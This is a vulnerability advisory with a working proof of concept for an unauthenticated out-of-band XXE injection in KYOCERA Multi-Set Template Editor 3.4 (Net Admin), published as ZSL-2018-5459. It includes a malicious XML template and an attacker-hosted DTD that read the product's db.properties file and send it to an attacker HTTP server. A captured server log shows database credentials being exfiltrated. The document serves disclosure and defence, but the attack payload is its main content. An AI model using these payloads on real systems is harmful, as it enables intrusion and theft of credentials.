KYOCERA Multi-Set Template Editor 3.4 - Out-Of-Band XML External Entity Injection

#Vendor: KYOCERA Corporation
#Product https://global.kyocera.com
#Affected version: 3.4.0906
#
#Summary: KYOCERA Net Admin is Kyocera's unified
#device management software that uses a web-based
#platform to give network administrators easy and
#uncomplicated control to handle a fleet for up to
#10,000 devices. Tasks that used to require multiple
#programs or walking to each printer can now be
#accomplished in a single, fast and modern environment.
#
#Desc: KYOCERA Multi-Set Template Editor (part of Net
#Admin) suffers from an unauthenticated XML External Entity
#(XXE) injection vulnerability using the DTD parameter
#entities technique resulting in disclosure and retrieval
#of arbitrary data from the affected node via out-of-band
#(OOB) channel attack. The vulnerability is triggered when
#input passed to the Multi-Set Template Editor (kmmted.exe)
#called by the ActiveX DLL MultisetTemplateEditorActiveXComponent.dll
#is not sanitized while parsing a 5.x Multi-Set template XML
#file.
#
#Tested on: Microsoft Windows 7 Professional SP1 (EN)
# Apache Tomcat/8.5.15
#
#
#Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience
#                            
#
#
#Advisory ID: ZSL-2018-5459
#Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5459.php
#
#
#28.03.2018
#
#—
#
#
#Malicious.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ZSL [
<!ENTITY % remote SYSTEM "http://192.168.1.71:7777/xxe.xml">
%remote;
%root;
%oob;]>


Attacker's xxe.xml:

<!ENTITY % fetch SYSTEM "file:///C:\Program Files\Kyocera\NetAdmin\Admin\conf\db.properties">
<!ENTITY % root "<!ENTITY &#37; oob SYSTEM 'http://192.168.1.71:7777/?%fetch;'> ">


Data retrieval:

lqwrm@metalgear:~$ python -m SimpleHTTPServer 7777
Serving HTTP on 0.0.0.0 port 7777 ...
192.168.1.71 - - [01/Apr/2018 14:36:15] "GET /xxe.xml HTTP/1.1" 200 -
192.168.1.71 - - [01/Apr/2018 14:36:15] "GET /?db_host=localhost%0D%0Adb_port=5432%0D%0Adb_name=KNETADMINDB%0D%0Adb_driver=pgsql%0D%0Adb_user=postgres%0D%0Adb_password=ENC(4YMilUUDS80QB5rD+Rhn1z89rNXQXxcw)%0D%0Adb_driverClassName=org.postgresql.Driver%0D%0Adb_url=jdbc:postgresql://localhost/KNETADMINDB%0D%0Adb_initialSize=1%0D%0Adb_maxActive=20%0D%0Adb_dialect=org.hibernate.dialect.PostgreSQLDialect HTTP/1.1" 200 -